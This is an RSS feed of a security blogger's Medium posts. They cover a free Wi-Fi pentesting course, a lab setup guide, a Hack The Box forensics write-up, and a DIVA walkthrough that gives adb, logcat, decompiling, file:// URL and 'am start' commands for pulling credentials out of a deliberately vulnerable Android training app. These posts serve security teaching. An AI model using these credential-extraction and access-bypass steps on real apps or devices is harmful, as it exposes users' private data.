<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Danish Zia on Medium]]></title>
        <description><![CDATA[Stories by Danish Zia on Medium]]></description>
        <link>https://medium.com/@danishzia?source=rss-6581b2bb934------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*KJYNAtFR5UADbI9lmX8Xug.jpeg</url>
            <title>Stories by Danish Zia on Medium</title>
            <link>https://medium.com/@danishzia?source=rss-6581b2bb934------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 19:43:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@danishzia/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Download “Wifi Security and Pentesting” Community Course from SecurityTube]]></title>
            <link>https://danishzia.medium.com/download-wifi-security-and-pentesting-community-course-from-securitytube-d12049d31d86?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/d12049d31d86</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[wifi]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Sat, 30 Jan 2021 13:03:51 GMT</pubDate>
            <atom:updated>2021-01-30T13:03:51.523Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*jA2A-ZZ7whD_1uSliHhkQg.png" /><figcaption>Figure 1.0</figcaption></figure><p>Hi,</p><p>In this article I will guide you about how you can get free “Wifi Security and Pentesting” Community course from SecurityTube. Let’s get started:</p><p>Go to mentioned <a href="http://www.securitytube-training.com.s3-website-us-east-1.amazonaws.com/online-courses/securitytube-wi-fi-security-expert/index.html">link</a>:</p><p><a href="http://www.securitytube-training.com.s3-website-us-east-1.amazonaws.com/online-courses/securitytube-wi-fi-security-expert/index.html">Wi-Fi Security and Pentesting</a></p><p>A page like below will appear:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6TNrvB5z3JfI05dpQRDrTQ.png" /><figcaption>Figure 1.1</figcaption></figure><p>Scroll down the page until you see download button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*sVisd4C1PLlOdw7fqpGYOQ.png" /><figcaption>Figure 1.2</figcaption></figure><p>In order to download the course click on the dowload button marked in above figure within red rectangle. Once you click the button downloading will start automatically.</p><p>Happy Learning!</p><p>Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d12049d31d86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DIVA Android App — Walkthrough]]></title>
            <link>https://danishzia.medium.com/diva-android-app-walkthrough-bce72b7f273a?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/bce72b7f273a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[challenge]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Sun, 23 Aug 2020 17:04:59 GMT</pubDate>
            <atom:updated>2020-08-23T17:04:59.029Z</atom:updated>
            <content:encoded><![CDATA[<h3>DIVA Android App — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*btBi59-LuiZg1bl3M7_45A.png" /><figcaption>Figure 1.0</figcaption></figure><p>Hi,</p><p>In this article we are going to crack DIVA Android Application. If don’t setup your android pentesting environment, Click <a href="https://medium.com/@DanishZia/setting-up-android-application-penetration-testing-environment-35e75efbd364">Here</a>.</p><p>To download DIVA app Click <a href="http://www.payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz">Here</a>.</p><h3>Installation:</h3><p>I have setup <a href="https://developer.android.com/studio/releases/platform-tools">Platform Tools</a> in environment variables. If you do not setup you have to place platform tools and apk file in same location or provide full path of their location.</p><p>In order to install the Diva application run the Android Virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*RG73xzyEeyS8IF1bIbUGcg.png" /><figcaption>Figure1.1</figcaption></figure><p>Either you can Drag and Drop the APK file of DIVA on Android VM or you can install it with Android Debug Bridge (adb). Installation with ADB wil be discussed here.</p><p>Open Command Prompt and Navigate to the location of DIVA APK file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*k0IGqfIbFqH3KlbcBKoLuQ.png" /><figcaption>Figure 1.2</figcaption></figure><p>Now run following command:</p><blockquote><strong>adb devices</strong></blockquote><p>This command will show us status of any android device running on our system or not as shown in figure below 1.3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*VuOtKMi5ycbOCobFxHAJaw.png" /><figcaption>Figure 1.3</figcaption></figure><p>As VM which we started earlier is running, now it’s time to install DIVA application. Run command given below and shown in figure 1.4:</p><blockquote><strong>adb install diva-beta.apk</strong></blockquote><p>You will get success status printed on command line as shown in figure 1.4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*73Na38geICZqkr3y80K63w.png" /><figcaption>Figure 1.4</figcaption></figure><p>Icon of DIVA app will also apprear on your VM as shown in figure 1.5 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*sN4TI7ltCFVJDfHSFZHL4w.png" /><figcaption>Figure 1.5</figcaption></figure><p>Tap (Click) on the DIVA app Icon to launch the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*kiU6sq9OymFhnqtijJBWiw.png" /><figcaption>Figure 1.6</figcaption></figure><h3>INSECURE LOGGING:</h3><p>Before solving this challenge please visit this <a href="https://owasp.org/www-project-mobile-top-10/2016-risks/m2-insecure-data-storage">LINK</a> and read it. It is highly recommended.</p><p>Tap on Insecure Logging Button. A new activity will appear as shown in figure 1.7 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*vNUFKfx220KnL-0EpzSFOQ.png" /><figcaption>Figure 1.7</figcaption></figure><p>Now before typing on this screen go to your command line and execute command written and shown in figure 1.8 below:</p><blockquote><strong>adb shell</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*D-K5Q8-GCJHk669MOvguXQ.png" /><figcaption>Figure 1.8</figcaption></figure><p>Shell will open there type the command:</p><blockquote><strong>logcat</strong></blockquote><p>Once you enter command logs will start appearing in front of you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*Rm6BFmPW9Q2nVfJnqzxJtg.png" /><figcaption>Figure 1.9</figcaption></figure><p>Now go to the Android VM and there enter credit card number</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*IKYm1s1IzoNJ0V-xx8yCkA.png" /><figcaption>Figure 1.10</figcaption></figure><p>Now go back the the command line where logs are appearing you will find there Credit Card Number in plain text as shown in figure 1.11 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*TAWKY3hzVwmOSbjhYsTJrA.png" /><figcaption>Figure 1.11</figcaption></figure><p>Here Insecure Logging challenge is completed.</p><h3>HARDCODING ISSUES - PART 1:</h3><p>Before solving this challenge please visit this <a href="https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password">LINK</a> and read it. It is highly recommended.</p><p>Tap on Hardcoding Issues - Part 1 Button. A new activity will appear as shown in figure 1.12 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*fzZrtsv_uVfPIcQdY-V-Ow.png" /><figcaption>Figure 1.12</figcaption></figure><p>As this is hardcoding challenge this mean the Vendor Key is hardcoded in the application. In order to get the hardcoded key we need to do Reverse Engineering of this application.</p><p>First convert the APK file into RAR file by only changing the extension.</p><p>Then Extract the RAR file. You will get DEX file along with other files and folders as shown in figure 1.13 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*6xr2lETiB2BxnCN-ZE3vNw.png" /><figcaption>Figure 1.13</figcaption></figure><p>Now convert this classes.dex file into jar file with <a href="https://sourceforge.net/projects/dex2jar/">Dex2Jar</a> tool. Go to Command Prompt and enter following command:</p><blockquote><strong>d2j-dex2jar classes.dex</strong></blockquote><p>A converted jar file with same name as dex file will appear in your folder as shown in figure 1.14 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*Q5TcCNs4x-KBFnIPVH3xIQ.png" /><figcaption>Figure 1.14</figcaption></figure><p>Now access this JAR file with <a href="http://java-decompiler.github.io/">JD-GUI</a> which is Java Decompiler.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VWskXfB25SjeuSpgFjcBJA.png" /><figcaption>Figure 1.15</figcaption></figure><p>Now we got the vendor’s secret key. Enter the Secret key to get access in app as shown in figure 1.16 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*m6Uc8wez4cHosWD6IdZodQ.png" /><figcaption>Figure 1.16</figcaption></figure><p>Here Hardcoding Issue - Part 1 challenge is completed.</p><h3>INSECURE DATA STORAGE - PART 1:</h3><p>In order to complete this challenge we have to move around in Directories with the help of shell. But first review the source code of this activity. We can see that credentials are stored in Shared Preferences as shown in figure 1.17 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fGDlLIoO4GLwDAMlZ_b1PA.png" /><figcaption>Figure 1.17</figcaption></figure><p>After accessing shell with adb go to /data/data/. This is the location where packages of all installed applications are stored. Find the package of diva application and then access it as shown in figure 1.18 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*nbAR_oqlEDDh-vZgq6MdbQ.png" /><figcaption>Figure 1.18</figcaption></figure><p>First enter username and password and save them before try to find them in these directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*Z9P0OxEsapi1yfM7cbaioQ.png" /><figcaption>Figure 1.19</figcaption></figure><p>Now from shell find them. App is saving these credentials in shared preferences as shown in figure 1.20 below:</p><p>In order to view contents of XML file to get username and password type following command:</p><blockquote><strong>cat jakhar.aseem.diva_preferences.xml</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*Gj5EvOg1S38vNSBGRtAO3A.png" /><figcaption>Figure 1.20</figcaption></figure><p>Here Insecure Data Storage - Part 1 challenge is completed.</p><h3>INSECURE DATA STORAGE - PART 2:</h3><p>This is similar challenge to previous one but credentials are stored in different location.</p><p>Before going to solve this challenge save credentials from in application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*x7fgymOmFj-5Ch8FA4Vruw.png" /><figcaption>Figure 1.21</figcaption></figure><p>This time credentials were stored in database ids2 and in its myuser table as shown in figure 1.22 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*O6agMMHtQ7C8tGCpCoai0Q.png" /><figcaption>Figure 1.22</figcaption></figure><p>In order to access database files from command line we have a tool in platform tools folder named “sqlite3”.</p><p>Type following command in linux (android) shell:</p><p>sqlite3 &lt;database_name&gt;</p><blockquote><strong>sqlite3 ids2</strong></blockquote><p>sqlite&gt;.tables</p><p>This .tables command will show all of the tables available in that particular database.</p><p>to exit from this tool .exit command is used.</p><p>sqlite&gt;.exit</p><p>This will return you to your previous shell on which you were working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*z3bUfG3wgE999Pytlmp7fA.png" /><figcaption>Figure 1.23</figcaption></figure><p>Here Insecure Data Storage - Part 2 challenge is completed.</p><h3>INSECURE DATA STORAGE - PART 3:</h3><p>Enter the credentials from application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*U7xHhizNhTC_f3bduzC5Yw.png" /><figcaption>Figure 1.24</figcaption></figure><p>The credentials were stored in temporary file as shown in figure 1.25 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*HSGq_Hgg9geZvKQpaPinwQ.png" /><figcaption>Figure 1.25</figcaption></figure><p>Let’s access those temporary file from shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*m56q2ZAZTr8od8UXK4jHuQ.png" /><figcaption>Figure 1.26</figcaption></figure><p>Here Insecure Data Storage - Part 3 challenge is completed.</p><h3>INSECURE DATA STORAGE - PART 4:</h3><p>Enter the credentials from application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*evBdIiMQuIcd0CnQaBC74w.png" /><figcaption>Figure 1.27</figcaption></figure><p>The app is storing credentials in external storage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*dHUBQVr2UdrV_y8aR0dnsw.png" /><figcaption>Figure 1.28</figcaption></figure><p>We got the location, now access them from shell as shown in figure below 1.29:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*50z54fUbVSTSkO-jjFMA7w.png" /><figcaption>Figure 1.29</figcaption></figure><p>Here Insecure Data Storage - Part 4 challenge is completed.</p><h3>INPUT VALIDATION ISSUES - PART 1:</h3><p>This challenge is about SQL Injection.</p><p>First try to enter single quote (‘) as input and check result.</p><p>Try to enter single quote twice (‘’) and then check result.</p><p>You will see the difference in the output of the toast.</p><p>Once you realize that your inputs are working then play with text field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*qRvK28q04fO1nYCBjzhCow.png" /><figcaption>Figure 1.30</figcaption></figure><p>Here Input Validation Issues - Part 1 challenge is completed.</p><h3>INPUT VALIDATION ISSUES - PART 2:</h3><p>In this challenge we have to access local files using URL.</p><p>first let’s try to access Google as shown in figure 1.31 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*1AbPqhF5LCEtfAUVjiaCEw.png" /><figcaption>Figure 1.31</figcaption></figure><p>Let’s try to change the URL and try to access a file from device.</p><blockquote><strong>file:////etc/hosts</strong></blockquote><p>You can see it worked in figure 1.32 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*oXxmBrzh6dRQrcHJYuCAZQ.png" /><figcaption>Figure 1.32</figcaption></figure><p>Now let’s try to access a file from shared preferences where credentials are stored. It is the file we saw in earlier challenges.</p><blockquote><strong>file:///data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*Bo7Jp-Ia0Z6aQFySaw4Xwg.png" /><figcaption>Figure 1.33</figcaption></figure><p>Here Input Validation Issues - Part 2 challenge is completed.</p><h3>ACCESS CONTROL ISSUES - Part 1:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*qHwSatnXt5_Br99fwOHZjA.png" /><figcaption>Figure 1.34</figcaption></figure><p>Accessing credentials from “View API Credentials” Button is completely legal. There is no issue in it. We need to check that can we directly access credentials without going through this activity or this checkpoint. In order to do that first we have to get the name of activity which will appear after it, for that we take the help of logcat which is discussed earlier.</p><p>Run logcat command from android shell then click on “View API Credentials” Button a log will generated related to this which gives us name of next activity as shown in figure 1.35 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*53IDsnDHDboRIu5tlXnzhw.png" /><figcaption>Figure 1.35</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*v2ODgs3zA2ue5gyg8xOpfg.png" /><figcaption>Figure 1.36</figcaption></figure><p>As we got the activity name. Now let’s try to access it from adb activity manager directly.</p><blockquote><strong>adb shell am start -n jakhar.aseem.diva/.APICredsActivity</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*AsFSAi3aKc4rfe2Yr1CwhQ.png" /><figcaption>Figure 1.37</figcaption></figure><p>As you can see we got access of API Credentials without any restriction or authentication. This also means that other apps can also access these credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*53IDsnDHDboRIu5tlXnzhw.png" /><figcaption>Figure 1.38</figcaption></figure><p>Here Access Control Issues - Part 1 challenge is completed.</p><h3>ACCESS CONTROL ISSUES - PART 2:</h3><p>First we have to de compile the application. We use <a href="https://ibotpeaches.github.io/Apktool/">APKTOOL</a> for it.</p><p>On Command Line type the following command:</p><blockquote><strong>apktool_2.4.1.jar d diva-beta.apk</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*WsQew3T26ZIc4G0QCLND7g.png" /><figcaption>Figure 1.39</figcaption></figure><p>A folder of application name will be created in same directory of apk. From there open AndroidManifest.XML file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NVGTPAFDCAgFWGh_aENINw.png" /><figcaption>Figure 1.40</figcaption></figure><p>Let’s open the Java code file and inspect there about any new thing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R2jA5zInWxQDDHP8k3pWAw.png" /><figcaption>Figure 1.41</figcaption></figure><p>Search this highlighted parameter in R.class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qA_iqpvpVAI98Z9GVf-fow.png" /><figcaption>Figure 1.42</figcaption></figure><p>In order to get the value of this chk_pin we have to inspect the strings.XML file which is located in application decompiled folder /res/values/string.xml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*-I_Ns8Wjir3dK7jX84xnfQ.png" /><figcaption>Figure 1.43</figcaption></figure><p>Let’s try to access the credentials with these details we have found and disabling check pin.</p><blockquote><strong>adb shell am start -n jakhar.aseem.diva/.APICreds2Activity -a jakhar.aseem.diva.action.View_CREDS2 --ez check_pin false</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*6N5FIpQcfTZ7aOjnpNF0mQ.png" /><figcaption>Figure 1.44</figcaption></figure><p>Now you will see in your VM Credentials appeared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*igxuvz3FV-1vkSC39n3CBQ.png" /><figcaption>Figure 1.45</figcaption></figure><p>Here Access Control Issues - Part 2 challenge is completed.</p><h3>ACCESS CONTROL ISSUES - PART 3:</h3><p>Apparently we cannot access notes without pin. Let’s try to access activity using content provider.</p><p>adb shell content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*RkyuYgw9Bf7V5KxvXSsfLg.png" /><figcaption>Figure 1.46</figcaption></figure><p>Here Access Control Issues - Part 3 challenge is completed.</p><h3>HARDCODING ISSUES - PART 2:</h3><p>Pull libdivajni.so file from VM using adb.</p><blockquote><strong>adb pull /data/data/jakhar.aseem.diva/lib/libdivajni.so</strong></blockquote><p>Use <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/strings">strings</a> tool to get strings from libdivajni.so file.</p><blockquote><strong>strings libdivajni.so</strong></blockquote><p>After trying different strings finally highlighted string worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*-IGI1aGD23PMP2LEUSbgkg.png" /><figcaption>Figure 1.47</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*oYLvdlB_jygDhasu5cIBDg.png" /><figcaption>Figure 1.48</figcaption></figure><p>Here Hardcoding Issues - Part 2 challenge is completed.</p><h3>INPUT VALIDATION ISSUES - PART 3:</h3><p>In this challenge goal is to crash the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*cPJgEx33XK-pCezJGy0rZQ.png" /><figcaption>Figure 1.49</figcaption></figure><p>Enter any random but long string, that string will lead to crash the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*3rUy9e6ffK0LXndSPNEQLg.png" /><figcaption>Figure 1.50</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*iUEy2UgPn-whQX2WTS_ksg.png" /><figcaption>Figure 1.51</figcaption></figure><p>We have successfully crashed this application.</p><p>Here Input Validation Issues - Part 3 challenge is completed.</p><p>We have successfully cracked the full DIVA application and completed all challenges.</p><p>Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bce72b7f273a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting up Android Application Penetration Testing Environment]]></title>
            <link>https://danishzia.medium.com/setting-up-android-application-penetration-testing-environment-35e75efbd364?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/35e75efbd364</guid>
            <category><![CDATA[environment]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[setup]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Sat, 22 Aug 2020 18:36:02 GMT</pubDate>
            <atom:updated>2020-08-22T18:36:02.244Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F48qFjFPCb_dSKwPJDkMpA.jpeg" /><figcaption>Figure 1.1 (<a href="https://barnard.edu/open-access-student-computer-labs">https://barnard.edu/open-access-student-computer-labs</a>)</figcaption></figure><p>Hi,</p><p>This article is about how to setup penetration testing lab for android applications testing.</p><p>First of all you need to download install Virtual Box. If you donot installed Virtual Box then download it with GenyMotion installer package as shown in figure 1.2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYstq4fIy1fz6cO6ieRCow.png" /><figcaption>Figure 1.2 (<a href="https://www.genymotion.com/download/">https://www.genymotion.com/download/</a>)</figcaption></figure><p>Otherwise you have to install only Geny Motion setup as shown in figure 1.3 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iY0nCy9I30nvAiYf4h5qDA.png" /><figcaption>Figure 1.3 (<a href="https://www.genymotion.com/download/">https://www.genymotion.com/download/</a>)</figcaption></figure><p>After downloading the installer file and run it. Click “Next” button shown in figure 1.4 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*com5jsX08xwP8q6-nrzCGw.png" /><figcaption>Figure 1.4 (GenyMotion Setup)</figcaption></figure><p>Then click “Install” button shown in figure 1.5 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*N_CnBpziSBacEeoCDrDnyQ.png" /><figcaption>Figure 1.5 (GenyMotion Setup)</figcaption></figure><p>After completion of installation run GenyMotion and sign up there by clicking “CREATE ACCOUNT” as shown in figure 1.6 below:</p><p>If you already have account then just Sign In with your credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7XjX5vwZasS9wykTKgMIoQ.png" /><figcaption>Figure 1.6 (GenyMotion)</figcaption></figure><p>Clicking the “CREATE ACCOUNT” button will redirect to their registration webpage as shown in figure 1.7 below:</p><p>Register yourself there by giving accurate details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TczoaHT6pEu1Z6aF9P1CEA.png" /><figcaption>Figure 1.7 (<a href="https://www.genymotion.com/account/create/">https://www.genymotion.com/account/create/</a>)</figcaption></figure><p>After creating your account verify it from the mail you received from GenyMotion for verification. Then go back to GenyMotion software you just installed and enter your credentials there shown in figure 1.6.</p><p>After successful login GenyMotion will ask you about license.</p><p>Select Radio Button of “Personal Use” and then click on “Next” button as shown in figure 1.8 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*10I6eXz0cAJqK7a0vmFSwg.png" /><figcaption>Figure 1.8 (GenyMotion)</figcaption></figure><p>Then Accept End User License Agreement (EULA) after reading it carefully by clicking the checkbox. Click “Next” button as shown in figure 1.9 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iza8eWSlL6sIEE0bLsRpJA.png" /><figcaption>Figure 1.9 (GenyMotion)</figcaption></figure><p>A screen will appear containing multiple android virtual machines setup as shown in figure 1.10 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yyBjtVRR6do-p3o4hH6cuA.png" /><figcaption>Figure 1.10 (GenyMotion)</figcaption></figure><p>I have already installed machines that is the reason in my case 2 machines are appearing in “My Installed Devices” section. To download available machine go to right corner of machine and click on “Vertical Ellipsis” (3 Vertical Dots Button) and a menu will appear and from there click on “Install” as shown in figure 1.11 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_sWEuvS_LRLGMvHxYNQM0A.png" /><figcaption>Figure 1.11 (GenyMotion)</figcaption></figure><p>Installation of machine will be started. Installed machine will appear in “My Installed Devices” section. In order to run a virtual machine again click on “Vertical Ellipsis” Button of installed machine and then click on “Start” as shown in figure 1.12 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eQTSfk2ugknwO0Zac0X2ng.png" /><figcaption>Figure 1.12 (GenyMotion)</figcaption></figure><p>Virtual Machine will start as shown in figure 1.13 below:</p><p>It will take sometime to boot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*RG73xzyEeyS8IF1bIbUGcg.png" /><figcaption>Figure 1.13 (GenyMotion)</figcaption></figure><p>Now we have successfully setup our android application penetration testing environment. Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=35e75efbd364" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box Cat Challenge Write-Up]]></title>
            <link>https://danishzia.medium.com/hack-the-box-cat-challenge-write-up-914e0877f68d?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/914e0877f68d</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Thu, 13 Aug 2020 06:50:59 GMT</pubDate>
            <atom:updated>2020-08-13T06:50:59.992Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VHwe3Z6UQ-AkIZv-toe3jg.png" /><figcaption>Figure 1.1</figcaption></figure><p>Hi,</p><p>This article is about the <a href="https://www.hackthebox.eu/home/challenges/Mobile">Cat</a> challenge hosted on <a href="https://www.hackthebox.eu/">HackTheBox</a>. It is an easy challenge. Let’s get started,</p><p>First download the challenge file from Hack The Box server as shown in figure 1.2 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*opursPMyRXccXT8RUsyO2Q.png" /><figcaption>Figure 1.2</figcaption></figure><p>You will get a file named “cat” which will be without any extension as shown in figure 1.3 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*fn_iBeL_0cWw30xdn6j9Rw.png" /><figcaption>Figure 1.3</figcaption></figure><p>With the help of rename change this file extension to rar as shown in figure 1.4 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*0DK8UgQOqR8cPcns2nUksA.png" /><figcaption>Figure 1.4</figcaption></figure><p>Extract the files and you will get Cat.ab file as shown in figure 1.5 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*QrSosnAyPyJd2Bwhwc0Ozw.png" /><figcaption>Figure 1.5</figcaption></figure><p>This .ab file is Android Backup File. To learn more about AB file click <a href="https://www.reviversoft.com/file-extensions/ab">here</a>. In order to extract .ab file the tool I will be using is <a href="https://sourceforge.net/projects/android-backup-toolkit/">Android Backup Toolkit</a>.</p><p>Download the toolkit and run the following command also shown in figure 1.6:</p><blockquote><strong>java -jar abe.jar unpack cat.ab cat.rar</strong></blockquote><p>Before running the command I have placed toolkit and cat.ab file in same folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*rrc2h8cFOWfSloVWymm9ew.png" /><figcaption>Figure 1.6</figcaption></figure><p>Now go to folder and you will see cat.rar file there and extract it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*9d0MGrY-ccBuccQ5zu9OpA.png" /><figcaption>Figure 1.6</figcaption></figure><p>Now let’s move into “cat” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*3DpKFkwnNN_dq92QW7sMIw.png" /><figcaption>Figure 1.7</figcaption></figure><p>Let’s explore “shared” folder first. Inside shared folder all folders are empty except “Pictures” folder. Let’s explore this folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*ecDEkbjhlcGKpOtBVYV-Dw.png" /><figcaption>Figure 1.8</figcaption></figure><p>This folder contains all of the cat pictures except one picture which is “IMAG0004.jpg”. Let’s open this picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P9DJYHUxO4kWdTiVNc8zAw.jpeg" /><figcaption>Figure 1.9</figcaption></figure><p>Here we go we have found the flag and challenge is completed. Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia">Patreon</a>.</p><img 